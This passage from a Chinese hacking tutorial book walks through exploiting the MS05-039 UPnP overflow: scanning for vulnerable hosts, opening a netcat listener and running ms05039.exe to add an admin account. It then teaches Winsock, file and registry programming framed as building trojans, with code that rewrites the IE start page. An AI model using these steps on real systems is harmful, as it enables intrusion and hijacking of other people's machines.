（2）漏洞利用。如果检测到UPnP缓冲区溢出漏洞，则可以利用专门的工具对目标计算机进行攻击。在入侵过程中使用的工具是ms05039.exe，其命令格式如下：

ms05039. exe＜host＞＜conIP＞＜conPort＞[target]，其中各个参数的含义如下：

host：指远程主机IP地址或远程主机名；

conIP：本地IP地址；

conPort：溢出成功后远程主机的端口号；

target：选择操作系统类型。

具体的操作步骤如下：

步骤1　在【MS05-039Scan】主窗口中输入远程主机IP的起始和结束地址之后，单击按钮，即可把输入的IP地址添加到扫描范围中，如图2-46所示。

图　2-46　设置扫描的IP范围

步骤2　单击按钮，即可开始对远程主机进行扫描，在其中查找存在Windows即插即用远程缓冲区溢出漏洞的远程主机，如图2-47所示。

图　2-47　扫描结果

步骤3　利用X-Scan扫描存在漏洞的远程主机，查看它的主机类型。在【命令提示符】窗口中进入nc.exe工具所在的目录后，在其中输入"nc-1-p 7755"命令进行监听状态（7755代表在本地中打开用于监听的端口号）。

步骤4　在【命令提示符】窗口中进到ms05039.exe所在的目录之后，在其中输入“ms05039.exe存在漏洞的远程主机IP本地机IP 7755 1”命令对远程主机添加账号。如果账号添加成功，则说明获得了管理员权限。

（3）预防措施。由于Windows XP打开了UPnP功能，所以所有Windows XP用户都应立即安装该补丁；而对于Windows Me用户，只有在运行UPnP时才需要该补丁，因为Windows Me的UPnP功能在安装时是关闭的。

2.4　专家点拨

点拨1：IP欺骗是针对TCP/IP缺陷进行攻击的吗？

解答：IP欺骗就是利用TCP/IP缺陷进行攻击。即使很好地实现了TCP/IP，但其本身也还是存在着一些不安全的地方的，从而可以利用IP欺骗进行TCP/IP网络攻击。这些攻击包括序列号欺骗、路由攻击、源地址和授权欺骗等。

点拨2：如何防范DNS欺骗攻击？

解答：防范DNS欺骗攻击可采取两种措施。直接用IP访问重要的服务，至少可避开DNS欺骗攻击，但需记住要访问的IP地址；加密所有对外的数据流，对服务器就是尽量使用SSH之类有加密支持的协议，对一般用户应用PGP之类软件加密所有发到网络上的数据，这也并不是怎么容易的事情。

2.5　总结与经验积累

本章着重介绍网络欺骗入侵、口令猜测入侵和缓冲区溢出入侵等三种常见的攻击方式，对黑客的入侵原理进行了详细的剖析，并对其入侵过程进行了模拟。

通过对本章的学习，读者可以了解黑客常用的几种攻击方式，并对其攻击原理有了比较详细的认识，再通过亲自实践一些攻击实例的过程，从而体会到了黑客常用的入侵手段。这样，当计算机或服务器被攻击时，可以很快找到破解之法。

第3章
Windows系统编程与网站脚本

重点提示

♂黑客编程简介

♂Windows系统编程概述

♂网站脚本入侵与防范

黑客通过各种工具来获得注册表、进程等信息，为其进行攻击做准备，高手们更是通过运用各种编程语言来编写出具有特定功能的入侵程序。

3.1　黑客编程简介

编程是每一个黑客所应该具备的最基本的技能，但黑客与程序员又是不同的。黑客往往掌握着许多种程序语言的精髓，并且黑客们都是以独立于任何程序语言之上的概括性观念来思考程序设计上的问题。

3.1.1　黑客编程语言介绍

要学习黑客编程至少要先学会一种编程语言。黑客们培养这种能力的方法，也与常人有所不同，他们也看种种书籍，但更多是阅读别人的源代码，这些源代码大多数是前辈黑客们的作品，同时他们也不停地自己写程序。下面是黑客们常用的几种语言。

1.脚本语言

脚本语言或扩建的语言，又叫动态语言，是一种编程语言控制软件应用程序。脚本语言有以下几个特点：

脚本语言（JavaScript、VBscript等）介于HTML和C、C++、Java、C#等编程语言之间。HTML通常用于格式化和链接文本，而编程语言通常用于向机器发出一系列复杂指令。

脚本语言与编程语言也有很多相似的地方，其函数与编程语言比较相像一些，也涉及到变量。与编程语言之间最大的区别是编程语言的语法和规则更为严格和复杂一些。

脚本也是一种语言，其同样由程序代码组成。脚本语言一般都有相应的脚本引擎来解释执行，一般需要解释器才能运行。JavaScript、ASP、PHP等都是脚本语言。

脚本语言是一种解释性的语言，如VBScript、JavaScript、ActionScript等，它不像C\C++等可以编译成二进制代码，以可执行文件的形式存在。脚本语言不需要编译，可以直接由解释器来负责解释。

2.解释性语言

解释性语言的程序不需要编译，解释性语言在运行程序的时候才翻译。解释性语言的特点是：效率比较低、依赖解释器、跨平台性好。典型代表语言有Basic语言，专门有一个解释器能够直接执行Basic程序，每个语句都是执行时才翻译。所以解释性语言每执行一次就要翻译一次，效率比较低。

3.编译性语言

编译性语言写的程序在执行之前，需要一个专门的编译过程，把程序编译成为机器语言的文件，以后要运行的话就不用重复翻译了，直接使用编译的结果就可以。其特点是程序执行效率高、依赖编译器、跨平台性差。典型代码语言有C、C++、Delphi等。

4.汇编语言

汇编语言（Assembly Language）是一种面向机器的程序设计语言，也是利用计算机所有硬件特性并能直接控制硬件的语言。汇编语言比机器语言易于读写、调试和修改，同时具有机器语言的全部优点。但在编写复杂程序时，相对高级语言代码量较大，而且汇编语言依赖于具体的处理器体系结构，不能通用，因此不能直接在不同处理器体系结构之间移植。

在Windows时代，大部分黑客软件都是基于Windows平台的，在Windows平台的编程语言有Java、VC++、Delphi、VB等。由于VC++的代码执行效率高而且系统兼容好，对系统底层的操作比较强大，而且编写的程序体积小。因此，VC++是最适合编写黑客工具和木马后门的。而汇编语言作为一种低级的语言，可能已经被很多用户抛弃，但是如果想成为真正的高手，在学完一门高级语言后，还需要学习汇编语言。

3.1.2　黑客与编程

在媒体报道中，黑客一词往往指那些“软件骇客”（Software Cracker）。黑客一词，原指热心于计算机技术，水平高超的电脑专家，尤其是程序设计人员。

黑客一词一般有如下4种意义：

一个对（某领域内）编程语言有足够了解，可不经长时间思考就创造出有用软件的人。

一个通过知识或猜测而对某段程序做出修改，并改变（或增强）该程序用途的人。

黑客是恶意（一般是非法地）试图破解或破坏某个程序、系统及网络安全的人。这群人称为“骇客”（Cracker）。有时这群人也被叫做“黑帽黑客”。

试图破解某系统或网络以提醒该系统所有者的系统安全漏洞。这群人往往被称为“白帽黑客”或“匿名客”（sneaker）或红客。这些人多是电脑安全公司的雇员，并在完全合法的情况下攻击某系统。

其中有三条都提到编程或程序，可见编程和黑客是密不可分的。对一个黑客来说：学会入侵和破解是必要的，但最主要的还是编程，毕竟使用工具是体现别人的思路，而编程则是自己的想法。在从刚刚接触黑客技术到逐渐入门的过程中，很多人又会发现：其实不会编程也可以轻易得到一个服务器权限，再利用一些专门的工具来控制该目标主机，但有时很难让目标主机按照自己的意愿进行工作。初学者往往在这个过程浪费了大量精力在大多的入侵上，因为在这个过程中进步是非常慢的。在其中可以看出，编程在黑客技术中的重要性，所以早学编程可以少走很多弯路。

同时黑客在入侵时使用的工具、控制服务器、木马等都是通过编程来实现的。黑客在入侵中通过编程来解决遇到的问题或编写需要实现特定的工具，而不是依靠别人的工具。在黑客技术中与编程相关的技术如图3-1所示，可见要掌握高级黑客技术，编程是基础也是关键。

图　3-1　与编程相关的黑客技术

3.2　Windows系统编程概述

如果黑客对Windows系统了解比较深入，就可以通过编程来实现对Windows系统进行攻击，所以是有必要学习Windows系统编程的相关知识的。Windows本身并不是编程语言，它所用的应用软件是各种编程语言编写出来之后生成的安装文件，再安装在系统上使用。目前Windows系统编程有很多编程语言，最简单实用的是Visual Basic 6.0，功能较强大一些的有Visual C++。在本节中所有代码都是基于C++的。

3.2.1　网络通信编程简介

网络对于黑客来说起着非常重要的作用，因为网络是黑客存在的平台。正是因为网络的出现，才有黑客技术的出现和发展。所以网络通信编程也是广大黑客迷非常热爱的技术之一。

1.网络通信简介

就像大家说话用某种语言一样，在网络上的各台计算机之间也有一种语言，这就是网络协议，不同的计算机之间必须使用相同的网络协议才能进行通信。

网络协议是网络上所有设备（网络服务器、计算机及交换机、路由器、防火墙等）之间通信规则的集合，它规定了通信时信息必须采用的格式以及这些格式的意义。大多数网络都采用分层的体系结构，每一层都建立在它的下层之上，向它的上一层提供一定的服务，而把如何实现这一服务的细节对上一层加以屏蔽。一台设备上的第n层与另一台设备上的第n层进行通信的规则就是第n层协议。

在网络的各层中存在着许多协议，接收方和发送方同层的协议必须一致，否则一方将无法识别另一方发出的信息。网络协议使网络上各种设备能够相互交换信息。网络协议也有很多种，具体选择哪一种协议则要看情况而定。Internet上的计算机使用的是TCP/IP。

为了帮助不同厂商标准化他们的网络软件，在1974年国际化标准化组织（International Organization for Standardization, ISO）为在计算机之间传递数据定义了一个软件模型，即OSI参考模型，其结构如图3-2所示。OSI参考模型只是提供一个理想方案，几乎没有系统可以完全实现它，其作用就是给人们设计网络体系的框架。TCP/IP是在OSI的基础上建立起来的，但它只实现OSI模型的5层，如图3-3所示。

图　3-2　OSI参考模型

图　3-3　TCP/IP协议模型

TCP/IP通信协议采用了5层的层级结构，每一层都呼叫其下一层所提供网络来完成自己的需求。由于物理层协议在TCP/IP协议中并没有定义，所以其他4层协议的具体作用如下。

应用层：该层主要负责处理特定的应用程序，如简单电子邮件传输（SMTP）、文件传输协议（FTP）、网络远程访问协议（Telnet）、定义网络通信和数据传输的用户接口等。

传输层：在此层中提供了结点间的数据传送，应用程序之间的通信服务，主要功能是数据格式化、数据确认和丢失重传等，如传输控制协议（TCP）、用户数据报协议（UDP）等，TCP和UDP给数据包加入传输数据并把它传输到下一层中，这一层负责传送数据，并且确定数据已被送达并接收。

网络层：负责提供基本的数据封包传送功能，让每一块数据包都能够到达目的主机（但不检查是否被正确接收）。网络层协议包括网际协议（IP）、ICMP协议（Internet互联网控制报文协议）以及IGMP协议（Internet组管理协议）等。

链路层：有时也被称作数据连路程或网络接口层，通常包括操作系统中的设备驱动程序和计算机中的网络接口卡。其作用是接收IP数据报并进行传输，从网络上接收物理帧，抽取IP数据报转交给下一层，对实际的网络媒体的管理，定义如何使用实际网络（如Ethernet、Serial Line等）来传送数据。

在TCP/IP协议的通信中，基本的传输单位是数据包。数据包是指在TCP/IP协议下要发送数据，事先必须对数据进行封装，加上各种必须的数据结构，封装完的数据。在TCP/IP协议中，数据被封装成数据包的具体过程如图3-4所示。

图　3-4　将数据封装成数据包的过程

图3-4是以TCP数据包为例，从用户数据开始，每经过一层就要给数据加上一个协议的首部。其中IP首部是用来实现路由寻址工作的，而TCP首部是为了确保数据的可到传输。这样封装好的数据包就可以从一台主机发送到另一台主机，当另一台主机的网卡收到数据包后，由下到上，依次经过链路层（以太网驱动程序）、网络层（IP）、传输层（TCP）以及应用层（应用程序），每经过一层就把该层的协议首部从数据包上去掉，等到应用层时就只剩用户数据了，即平常使用网络程序时接收到的数据。整个通信过程如图3-5所示。

图　3-5　网络通信过程

2.Winsock编程基础

Winsock是Windows下得到广泛应用的、开放的、支持多种协议的网络编程接口。这是一个真正和协议无关的编程接口，并不需要考虑数据包封装的问题。其实Winsock编程接口是微软提供的一系列API函数，在调用函数之前需要包含其头文件Winsock2.h。由于VC++6.0默认没有连接这些函数的导入库文件，还需要添加带WS2_32.lib的连接。其命令格式如下：

#include＜Winsock2.h＞

#pragma comment(lib,"ws2_32.lib")

下面通过一个经典的服务器和客户端用Winsock实现TCP通信来介绍Winsock实现网络通信的具体过程，其流程图如图3-6所示。

图　3-6　服务器和客户端用Winsock实现TCP通信

（1）服务端的操作

1）在初始化阶段调用WSAStartup()。此函数的作用是在应用程序中初始化Windows Sockets DLL，只有此函数调用成功后，应用程序才可以再调用其他Windows Sockets DLL中的API函数。

在程式中调用该函数的形式如下：

Int WSAStartup(

WORD wVersionRequested,

LPWSADATA lpWSAData)

其中包含的参数的含义如下。

wVersionRequested：该参数用于指定想要加载的Winsock库的版本。

LPWSADATA：该参数指向一个LPWSADATA结构指针，其作用是保存WSAStartup函数返回的Winsock库的版本信息。

2）建立Socket。在初始化Winsock的动态链接库后，需在服务器端建立一个监听的Socket，为此可调用Socket()函数来建立这个监听的Socket，并定义此Socket所使用的通信协议。此函数调用成功返回Socket对象，失败则返回INVALID_SOCKET（调用WSAGetLastError()可得知原因，所有WinSocket的函数都可以使用这个函数来获取失败的原因）。Socket函数的形式如下：

SOCKET PASCAL FAR socket(

int af,

int type,

int protocol)

其中各个参数的含义如下。

af：指定套接字使用的地址格式，目前只提供PF_INET(AF_INET)。

type：指定套接字的类型，主要有SOCK_STREAM、SOCK_DGRAM以及SOCK_RAM三种类型。SOCK_STREAM为流套接字，使用TCP提供有连接的可靠传输；SOCK_DGRAM为数据报套接字，使用UDP提供无连接的不可靠的传输；SOCK_RAM为原始套接字，Winsock接口是由程序自行处理数据包和协议首部。

注意　应用层通过传输层进行数据通信时，TCP和UDP会遇到同时为多个应用程序进程提供并发服务的问题。多个TCP连接或多个应用程序进程可能需要通过同一个TCP协议端口传输数据。为区别不同的应用程序进程和连接，许多计算机操作系统为应用程序与TCP/IP协议交互提供了称为套接字（Socket）的接口。

protocol：是配合type使用，用来指定协议类型。如要建立遵从TCP/IP协议的socket，第二个参数type应为SOCK_STREAM；如果为UDP（数据报）的socket，则应为SOCK_DGRAM。

3）绑定端口。要为服务器端定义的这个监听的Socket指定一个地址及端口（Port），这样客户端才知道待会儿要连接哪一个地址的哪个端口，为此要调用bind()函数，该函数调用成功返回0，否则返回SOCKET_ERROR。其函数的具体格式如下：

int bind(

SOCKET s,

const struct sockaddr FAR*name,

int namelen);

其中各个参数的含义如下。

s：Socket对象名。

name：Socket的地址值，这个地址必须是执行这个程式所在机器的IP地址。

namelen：name的长度。

如果使用者不在意地址或端口的值，可设定地址为INADDR_ANY，及Port为0，Windows Sockets会自动将其设定适当的地址及Port（1024～5000之间的值）。此后可调用getsockname()函数来获知其被设定的值。

4）监听。当服务器端的Socket对象绑定完成之后，服务器端必须建立一个监听的队列来接收客户端的连接请求。listen()函数使服务器端的Socket进入监听状态，并设定可建立的最大连接数（目前最大值限制为5，最小值为1）。该函数调用成功返回0，否则返回SOCKET_ERROR。

该函数的具体格式如下：

int listen(

SOCKET s,

int backlog);

其中各个参数的含义如下。

s：需要建立监听的Socket。

backlog：监听队列中允许保持的尚未处理的最大连接数量。

注意　listen函数只支持连接的套接字，如SOCK_STREAM类型套接字，也是基于TCP连接的套接字。而像SOCK_DGRAM类型套接字就不能调用listen函数。

在设置套接字进入监听窗台后，如果此时客户端调用connect()函数提出连接申请，Server端必须通过调用accept()函数，这样服务器端和客户端才算正式完成通信程序的连接动作。

accept函数的格式如下：

Socket accept(

Socket s,

Struct sockaddr*addr

Int*addrlen);

其中各个参数的含义如下。

s：指向一个套接字句柄，由socket函数返回。

addr：指向一个sockaddr结构指针，用来存放客户端的地址信息。

addrlen：指向一个sockaddr结构长度的指针，可以通过sizeof函数取得。

5）服务器端接受客户端的连接请求。在调用accept函数后，如果在阻塞模式下accept会一直等待下去，直到接到客户端连接后才会往下执行。当有连接后，accept函数就会返回一个新的标识客户端的套接字句柄。在得到套接字句柄后就可以利用它来接收和发送数据。此时用到send和recv这两个函数，其中recv函数用于接收数据，而send函数用于发送数据。其具体格式如下：

Int recv(

Socket s,

Char far*buff

Intl len,

Int flags);

Int recv(

Socket s,

Char far*buf,

Intl len,

Int flags);

其中各个参数的具体含义如下。

s：该参数指向一个套接字句柄，由accpt函数返回。

buff：指向发送或接收数据的缓冲区。

len：指向发送或接收数据的缓冲区长度。

flags：调用方式，一般设置为0。

recv函数用成功时返回收到的字节数，失败时返回SOCKET_ERROR。

6）结束socket连接。结束服务器和客户端的通信连接很简单，这一过程可由服务器或客户机的任一端启动，只要调用closesocket()就可以了，而要关闭Server端监听状态的socket，同样也是利用此函数。

该函数的具体格式如下：

int PASCAL FAR closesocket(SOCKET s);

其中s参数是Socket的识别码。

另外，与程序启动时调用WSAStartup()函数相对应，程式结束前，需要调用WSACleanup()来通知Winsock Stack释放Socket所占用的资源。WSAStartup函数没有参数，具体格式如下：

int PASCAL FAR WSACleanup(void);

这两个函数都是调用成功返回0，否则返回SOCKET_ERROR。

（2）客户端的操作

1）建立客户端的Socket。客户端应用程序也是调用WSAStartup()函数来与Winsock的动态链接库建立关系，同样调用socket()来建立一个TCP或UDP socket（相同协定的sockets才能相通，TCP对TCP, UDP对UDP）。与服务器端的socket区别是，客户端的socket可调用bind()函数，由自己来指定IP地址及port号码；但也可不调用bind()，而由Winsock自动设定IP地址及port号码。

2）提出连接申请。客户端的Socket使用connect()函数来提出与服务器端的Socket建立连接的申请，函数调用成功返回0，否则返回SOCKET_ERROR。其函数的具体格式如下：

int PASCAL FAR connect(

SOCKET s,

const struct sockaddr FAR*name,

int namelen);

其中各个参数的含义如下。

s：该参数指向一个套接字句柄，由socket函数创建。

name：该参数指向一个sockaddr结构指针，包含服务器端的地址信息。

namelen：指向一个sockaddr结构的长度，可以由sizeof函数取得。

当该函数成功调用时返回0，否则将返回SOCKET_ERROR。在服务端程序中调用send或recv函数的一个套接字句柄参数是accept函数返回的，但在客户端中这个句柄参数是用socket函数返回的。

下面简单了解UDP通信编程。UDP客户端在调用bind函数前的操作和TCP服务端的相似，只是需要创建UDP套接字，即Socket函数的第3个参数传递给IPPROTO_UDP。在调用完bind函数后并不需要像TCP服务端那样调用listen函数监听套接字，直接就可以收发数据了。但在发送数据时调用的是sendto函数，而在接收数据时调用的函数是recvfrom。

sendto函数的具体格式如下：

Int sendto(

SOCKET s,

const char FAR*buf,

int len,

int flags,

const struct sockaddr FAR*to,

int tolen);

其中包含的各个参数的具体含义如下。

s：指定要发送数据的套接字。

buf：设置要发送数据的缓冲区。

len：设置要发送数据的长度。

flags：指定调用的方式，一般设置为0。

to：该参数指向包含目标地址和端口的sockaddr_in结构。

tolen：指定sockaddr_in结构的大小。

如果该函数执行成功，则返回发送数据的大小。下面介绍recvfrom函数，具体格式如下：

Int recvfrom(

SOCKET s,

const char FAR*buf,

int len,

int flags,

const struct sockaddr FAR*from,

int fromlen);

与sendto函数相比，只有最后的两个参数不同。from参数的作用是指向包含发送者信息的sockaddr_in，而fromlen参数指定返回的sockaddr_in结构的大小。如果该函数被调用成功，则返回接收到的数据大小。UDP客户端比TCP的客户端还要简单，在调用socket函数建立套接字后，就可以调用sendto和recvfrom函数发送/接收数据。

3.2.2　文件操作编程简介

很多黑客工具都需要对文件进行操作，如清除日志工具就需要对文件进行删除操作、加法指令的程序就需要对文件进行读写操作、木马后门对自身文件进行复制等操作，所以文件操作编程是编写黑客工具必须要掌握的编程技术。

1.文件读写编程

微软提供了强大的文件读写（文件I/O）操作的编程接口，所以通过调用API函数可以实现文件的读写操作。在一般情况下，文件的读写过程如图3-7所示。从中可以看出，如果要对文件进行读写操作，首先要调用CreateFile函数打开或者创建文件。

图　3-7　文件读写操作一般流程

该函数的具体格式如下：

HANDLE CreateFile(

LPCTSTR lpFileName,//指向文件名的指针

DWORD dwDesiredAccess,//访问模式(写/读)

DWORD dwShareMode,//共享模式

LPSECURITY_ATTRIBUTES lpSecurityAttributes,//指向安全属性的指针

DWORD dwCreationDisposition,//如何创建

DWORD dwFlagsAndAttributes,//文件属性

HANDLE hTemplateFile//用于复制文件句柄

);

其中各个参数的具体含义如下。

lpFileName：要打开的文件的名字。

dwDesiredAccess：如果为GENERIC_READ，表示允许对设备进行读访问；如果为GENERIC_WRITE，表示允许对设备进行写访问（可组合使用）；如果为零，表示只允许获取与一个设备有关的信息。

dwShareMode：该参数的作用是定义共享模式。其值为零表示不共享；而为FILE_SHARE_READ和/或FILE_SHARE_WRITE表示允许对文件进行共享访问。

lpSecurityAttributes：指向一个SECURITY_ATTRIBUTES结构的指针，定义了文件的安全特性（如果操作系统支持）。

dwCreationDisposition：指定当文件存在或不存在时的操作，常见操作有如下5种。

CREATE_NEW：创建文件，如文件存在则会出错。

CREATE_ALWAYS：创建文件，会改写前一个文件。

OPEN_EXISTING：文件必须已经存在，由设备提出要求。

OPEN_ALWAYS：如文件不存在则创建它。

TRUNCATE_EXISTING：将现有文件缩短为零长度。

dwFlagsAndAttributes：表示新创建文件的属性，文件常见的属性有如下5种。

FILE_ATTRIBUTE_ARCHIVE：标记归档属性。

FILE_ATTRIBUTE_NORMAL：默认属性。

FILE_ATTRIBUTE_HIDDEN：隐藏文件或目录。

FILE_ATTRIBUTE_READONLY：文件为只读。

FILE_ATTRIBUTE_SYSTEM：文件为系统文件。

hTemplateFile：该参数指向用于存储的文件句柄，如果不为零，则指定一个文件句柄，新文件将从这个文件中复制扩展属性。

如果该函数调用成功，则返回文件句柄。否则返回INVALID_HANDLE_VALUE。该函数的具体调用如下：

（1）以只读形式打开已存在的文件

hFile=CreateFile("c:\\biancheng1.txt"，GENERIC_READ, FILE_SHARE_READ, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL)；

（2）以只写的形式打开已存在的文件

hFile=CreateFile(argv[1]，GENERIC_WRITE, FILE_SHARE_READ,NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL)；

（3）创建一个新文件

hFile=CreateFile("c:\\biancheng1.txt", GENERIC_WRITE, 0, NULL, CREATE_ALWAYS,FILE_ATTRIBUTE_NORMAL,NULL)；

在成功调用Create函数之后，就返回所打开或创建的文件的句柄，可调用WriteFile或ReadFile函数来读写文件。这两个函数的具体格式如下：

BOOL WriteFile(

HANDLE hFile,//文件句柄

LPCVOID lpBuffer,//数据缓存区指针

DWORD nNumberOfBytesToWrite,//要写的字节数

LPDWORD lpNumberOfBytesWrite,//用于保存实际写入字节数的存储区域的指针

LPOVERLAPPED lpOverlapped//OVERLAPPED结构体指针

);

BOOL ReadFile(

HANDLE hFile,//文件的句柄

LPVOID lpBuffer,//用于保存读入数据的一个缓冲区

DWORD nNumberOfBytesToRead,//要读入的字节数

LPDWORD lpNumberOfBytesRead,//指向实际读取字节数的指针

LPOVERLAPPED lpOverlapped

);

其中各个参数的具体含义如下：

hFile：该参数指向要读写的文件的句柄，一般由CreateFile函数返回。

lpBuffer：指向一个缓冲区，用于存储读写的数据。

nNumberOfBytesToWrite/Read：这两个参数是表示要求写入或读取的字节数。

LpNumberOfBytesRead/Write：这两个参数是表示返回实际读取或写入的字节数。

LpOverlapped：是指向OVERLAPPED结构的指针，设置为NULL即可。

如果读取或写入成功，函数就会返回TRUE。在完成文件的读取操作后还需调用Close-Handle函数关闭文件的句柄，以便与其他程序对文件进行操作。现在很多木马后门都提供了配置功能，如反向连接域名、开机自启动等。要实现这些功能可以在文本末尾写入数据，再在木马运行后读取这些数据，从而实现相应的功能。

下面的代码介绍了在文件末尾写入数据的过程，其具体内容如下：

#include"stdafx.h"

#include＜windows.h＞

#include＜stdio.h＞

int main(int argc, char*argv[])

{

//调用CreateFile函数以只写方式打开一个文件

HANDLE hFile=CreateFile(argv[1],GENERIC_WRITE, FILE_SHARE_READ, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);

if(hFile==INVALID_HANDLE_VALUE)

{

printf("CreateFile error\n");

return 0;

}

//调用SetFilePointer函数调整文件指针位置,移动到文件末尾

if(SetFilePointer(hFile,0,NULL, FILE_END)==-1)

{

printf("SetFilePointer error\n");

return 0;

}

char buff[256]="配置信息";

DWORD dwWrite;

//把buff中的内容写入到文件末尾

if(!WriteFile(hFile,＆buff, strlen(buff),＆dwWrite, NULL))

{

printf("WriteFile error\n");

return 0;

}

printf("往%s中写入数据成功\n",argv[1]);

CloseHandle(hFile);

return 0;

}

其中SetFilePointer函数的作用是设置文件指针位置。当一个文件被打开时，系统就会为其维护一个文件指针，指向文件的下一个读写操作的位置，所以随着文件的读写，文件指针也会随之移动。另外，还用到了main函数中的一个参数argv[]，该参数的作用是接收文件运行时的参数，argv[0]表示自身文件名，argv[1]表示第一个参数，所以上面文件在【命令提示符】窗口中运行的格式是writefile.exe文件名，如图3-8所示。

图　3-8　向文件中写入内容

2.文件的复制、移动和删除编程

除读写文件外，还可以进行复制、删除以及移动等操作，先介绍复制文件的CopyFile函数。该函数的格式如下：

BOOL CopyFile(

LPCTSTR lpExistingFileName,

LPCTSTR lpNewFileName,

BOOL bFailIfExists);

其中各个参数的含义如下。

lpExistingFileName：要进行复制操作的文件名。

lpNewFileName：复制到目标位置的新文件名及其路径。

bFailIfExists：目标位置存在同文件名的文件时的操作，TURE表示调用失败，FALSE则表示覆盖存在的文件。

如果想对目标文件进行移动操作，则可通过MoveFile函数来实现。其具体格式如下：

BOOL MoveFile(LPCTSTR lpExistingFileName,

LPCTSTR lpNewFileName,);

如果要实现删除目标文件，就要用到DeleteFile函数。该函数的具体格式如下：

BOOL DeleteFile(LPCTSTR lpFileName)

不难看出该函数只有一个参数，它是一个指向文件名字符串的指针，字符串中存储的是包含了具体路径的文件名。

3.2.3　注册表编程简介

注册表对于Windows系统至关重要，Windows操作系统的注册表中包含了有关计算机运行方式的配置信息，其中包括Windows操作系统配置信息、硬件配置信息、软件配置信息、用户环境配置信息等。当然，在黑客编程中注册表编程也是至关重要的，可以更改很多系统的配置，如开启远程终端、把某些程序密码存放在注册表中、修改注册表以实现自启动。注册表编程的具体流程如图3-9所示。

图　3-9　注册表编程流程

在【注册表编辑器】窗口中左边类似文件夹的东西就是注册表中的键，键值就是右边注意窗口中显示的文件，如图3-10所示。根键就是最顶层的键，可以将其看做盘符。

图　3-10　注册表中的键、主键以及键值

不难看出，在进行所有操作前必须先调用RegCreateKeyEx函数或RegOpenKeyEx函数创建或打开注册表子键，在返回子键句柄后利用该句柄才可进行一系列操作。由于RegCreate KeyEx函数既可以打开注册表子键，也可以创建注册表子键，而RegOpenKeyEx函数只能打开注册表子键，所以这里介绍RegCreateKeyEx函数。其具体格式如下：

Long RegCreateKeyEx(

HKEY hkey,

LPCTSTR lpSubKey,

DWORD Reserved,

LPTSTR lpClass,

DWORD dwOptions,

REGSAM samDesired,

LPSECURITY_ATTRIBUTES lpSecurityAttributes,

PHKEY phkResult,

LPDWORD lpdwDisposition);

其中各个参数的具体含义如下。

hkey：该参数指向一个打开键的句柄，可以由RegCreateEx函数或RegOpenKeyEx函数返回，也可以是注册表的根键。

lpSubKey：该参数指向要打开子键的名称。

Reserved：该参数保留未使用，设置为0即可。

lpClass：指向一个类名，一般设置为0。

dwOptions：表示创建子键选项，REG_OPTION_NON_VOLATLE表示信息被保存在文件中，重启计算机后保留设置。而REG_OPTION_VOLATLE表示信息被保存在内存中，重启计算机后失效。

samDesired：该参数用于表示子键的打开方式，子键的打开方式有很多种，经常可以组合使用。

lpSecurityAttributes：指定键句柄的继承性。

phkResult：该参数用于返回创建或打开的子键的句柄。

lpdwDisposition：该参数的作用是指定当子键不存在时是否要创建子键。其值为REG_CREATED_NEW_KEY，表示当子键不存在时创建子键，如果存在则打开子键；而为REG_OPENED_EXISTING_KEY时，则表示子键存在时打开它，不存在时不创建子键。

该函数调用成功则会返回ERROR_SUCCESS，且在lpSubKey参数中装入子键的有效句柄，否则返回一个非零值。

注意　与RegCreateKeyEx函数所对应的是RegDeleteKey函数，其作用是实现删除注册表子键。它有两个参数，与RegCreateKeyEx前两个参数相同。如果该函数调用程序则会返回ERROR_SUCCESS，否则返回一个非零值。

在创建或打开键值后，需要通过RegQueryValueEx和RegSetValueEx函数来读取和设置键值。这两个参数的具体格式如下：

LONG RegQueryValueEx(

HKEY hKey,

LPCTSTR lpValueName,

LPDWORD lpReserved,

LPDWORD lpType,

LPBYTE lpData,

LPDWORD lpcbData);

LONG RegSetValueEx(

HKEY hKey,//注册键句柄

LPCTSTR lpValueName,

DWORD Reserved,

DWORD dwType,

CONST BYTE*lpData,

DWORD cbData);

其中各个参数的具体含义如下。

hKey：该参数指向一个有效的子键的句柄，由RegCreateKeyEx函数的phkResult参数返回。

lpValueName：要读取和设置键值的名称。

lpServered：保留参数，一般设置为0。

lpType：要读取和设置的键值的数据类型。

lpData：要读取和写入数据的缓冲区。

lpcbData/cbdata：缓冲区的长度。

如果这两个函数调用成功，则会返回ERROR_SUCCESS，否则就会返回一个非零值。在操作结束时，需要调用RegCloseKey函数来关闭子键句柄。该函数只有一个参数hkey，它指向一个子键的句柄，由RegCreateEx函数的phkResult参数返回。

下面可以对注册表进行读写操作了（下面是两个设置注册表键值的函数），具体内容如下：

void CreateStringReg(HKEY hRoot, char*szSubKey, char*ValueName, char*Data)//用于修改字符串类型键值

{

HKEY hKey;

long lRet=RegCreateKeyEx(hRoot, szSubKey,0,NULL, REG_OPTION_NON_VOLATILE, KEY_ALL_ACCESS, NULL,＆hKey, NULL);//打开注册表键,不存在则创建它

if(lRet!=ERROR_SUCCESS)

{

printf("error no RegCreateKeyEx%s\n",szSubKey);

return;

}

lRet=RegSetValueEx(hKey, ValueName,0,REG_SZ,(BYTE*)Data, strlen(Data));//修改注册表键值,没有则创建它

if(lRet!=ERROR_SUCCESS)

{

printf("error no RegSetValueEx%s\n",ValueName);

return;

}

RegCloseKey(hKey);

}

其中hRoot参数指向一项打开键的句柄或根键；szSubKey参数表示要打开子键的名称；ValueName是要设置的键值名称；data参数指向要写入数据的缓冲区。如果要实现删除注册表键值的功能，可以使用RegDeleteValue函数来实现。该函数的具体格式如下：

Long RegDeleteValue(

HKEY hKey,

LPCTSTR lpValueName,)

其中包含hKey和IpValueName两个参数，其具体作用如下。

hKey：该参数指向一个有效的子键的句柄，由RegCreateKeyEx函数的phkResult参数返回。

lpValueName：要删除键值的名称。

下面介绍如何通过注册表编程来实现修改IE主页。由于IE主页的URL是保存在注册表中的，其具体路径是HKEY_CURRENT_USER\Software\Microsoft\\Internet Explorer\Main\Start Page。所以只要是修改了注册表就可以修改掉IE主页。其具体内容如下：

#include"stdafx.h"

#include＜stdio.h＞

void CreateStringReg(HKEY hRoot, char*szSubKey, char*ValueName, char*Data)//用于修改字符串类型键值

{

HKEY hKey;

long lRet=RegCreateKeyEx(hRoot, szSubKey,0,NULL, REG_OPTION_NON_VOLATILE, KEY_ALL_ACCESS, NULL,＆hKey, NULL);//打开注册表键,不存在则创建它

if(lRet!=ERROR_SUCCESS)

{

printf("error no RegCreateKeyEx%s\n",szSubKey);

return;

}

lRet=RegSetValueEx(hKey, ValueName,0,REG_SZ,(BYTE*)Data, strlen(Data));//修改注册表键值,没有则创建它

